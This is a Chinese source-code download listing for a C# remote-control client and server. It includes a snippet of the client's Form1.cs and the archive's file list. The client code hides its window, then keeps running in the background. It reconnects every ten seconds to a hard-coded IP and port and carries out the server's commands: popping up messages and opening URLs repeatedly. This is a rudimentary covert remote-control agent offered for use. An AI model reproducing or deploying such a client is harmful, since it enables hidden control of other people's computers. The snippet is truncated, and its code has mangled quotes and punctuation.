• 大小: 260KB
    文件类型: .zip
    金币: 2
    下载: 1 次
    发布日期: 2021-06-07
  • 语言: C#
  • 标签: C#  源代码  

资源简介

C#远程控制服务器端和客户端源代码 需要改了IP地址就能测试

资源截图

代码片段和文件信息

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using System.Net.Sockets;
using System.Net;
using LitJson;
using System.Diagnostics;

namespace ClientFast
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Load(object sender EventArgs e)
        {
            Thread thread = new Thread(BackgroundRun);
            thread.Start();

        }
        /// 
        /// 后台运行操作
        /// 

        private void BackgroundRun()
        {
            Application.Exit();
            Conn();
        }
        private Socket socket;
        /// 
        /// 连接服务器
        /// 

        private void Conn()
        {
            try
            {
                socket = new Socket(AddressFamily.InterNetwork SocketType.Stream ProtocolType.Tcp);
                IPEndPoint ipPort = new IPEndPoint(IPAddress.Parse(“192.168.0.200“) 6160);
                socket.Connect(ipPort);
                Recevice();
            }
            catch (Exception)
            {
                Thread.Sleep(10000);
                Conn();
            }
        }
        /// 
        /// 接收服务器发来的消息
        /// 

        private void Recevice()
        {
            while (true)
            {
                byte[] byt = new byte[1024];
                int length = socket.Receive(byt);
                string jsonStr = System.Text.Encoding.UTF8.GetString(byt);
                jsonStr = RemoveEmptyChar(jsonStr);
                if (length > 0)
                {
                    MSGStruct msg = JsonMapper.Toobject(jsonStr);
                    GetOperation(msg);
                } 
            }
        }

        private void GetOperation(MSGStruct msg)
        {
            switch (msg.key)
            {
                case “text“:
                    MessageBox.Show(msg.json);
                    break;
                case “openUrl“:
                    Thread _threadUrl = new Thread(OpenUrl);
                    _threadUrl.IsBackground = true;
                    _threadUrl.Start(msg.json);
                    break;
            }
        }
        static OpenClass open;
        private void OpenUrl(object josn)
        {
            string json = josn.ToString();
            open = JsonMapper.Toobject(json);
            while (open.IsStart==1)
            {
                Process.Start(“http://“ + open.openUrl);
                Thread.Sleep(int.Parse(open.stopTime+“000“));
            }
        }
        public class OpenClass
        {
            /// 
            /// 要打开的网站
            /// 

            public string op

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----
     目录           0  2012-09-04 11:07  ClientFast\
     文件         872  2012-09-04 10:54  ClientFast.sln
     文件       10752  2012-09-04 10:54  ClientFast.suo
     文件       86971  2012-09-04 13:26  ClientFast.zip
     目录           0  2012-09-04 10:54  ClientFast\bin\
     目录           0  2012-09-04 11:10  ClientFast\bin\Debug\
     文件        9728  2012-09-04 11:59  ClientFast\bin\Debug\ClientFast.exe
     文件       28160  2012-09-04 11:59  ClientFast\bin\Debug\ClientFast.pdb
     文件       11600  2012-09-04 12:25  ClientFast\bin\Debug\ClientFast.vshost.exe
     文件         490  2010-03-18 14:39  ClientFast\bin\Debug\ClientFast.vshost.exe.manifest
     文件       50176  2012-09-04 11:07  ClientFast\bin\Debug\LitJson.dll
     文件        3960  2012-09-04 11:10  ClientFast\ClientFast.csproj
     文件        4008  2012-09-04 12:30  ClientFast\Form1.cs
     文件        1465  2012-09-04 10:55  ClientFast\Form1.Designer.cs
     文件        5817  2012-09-04 10:55  ClientFast\Form1.resx
     目录           0  2012-09-04 11:07  ClientFast\lib\
     文件       50176  2012-09-04 11:07  ClientFast\lib\LitJson.dll
     目录           0  2012-09-04 10:54  ClientFast\obj\
     目录           0  2012-09-04 10:54  ClientFast\obj\x86\
     目录           0  2012-09-04 11:59  ClientFast\obj\x86\Debug\
     文件        1046  2012-09-04 12:25  ClientFast\obj\x86\Debug\ClientFast.csproj.FileListAbsolute.txt
     文件         975  2012-09-04 10:58  ClientFast\obj\x86\Debug\ClientFast.csproj.GenerateResource.Cache
     文件       11251  2012-09-04 11:10  ClientFast\obj\x86\Debug\ClientFast.csprojResolveAssemblyReference.cache
     文件        9728  2012-09-04 11:59  ClientFast\obj\x86\Debug\ClientFast.exe
     文件         180  2012-09-04 11:10  ClientFast\obj\x86\Debug\ClientFast.Form1.resources
     文件       28160  2012-09-04 11:59  ClientFast\obj\x86\Debug\ClientFast.pdb
     文件         180  2012-09-04 11:10  ClientFast\obj\x86\Debug\ClientFast.Properties.Resources.resources
     文件        2851  2012-09-04 10:54  ClientFast\obj\x86\Debug\DesignTimeResolveAssemblyReferences.cache
     文件        6684  2012-09-04 11:59  ClientFast\obj\x86\Debug\DesignTimeResolveAssemblyReferencesInput.cache
     目录           0  2012-09-04 10:54  ClientFast\obj\x86\Debug\TempPE\
     文件         491  2012-09-04 10:54  ClientFast\Program.cs
............此处省略7个文件信息

评论

共有 条评论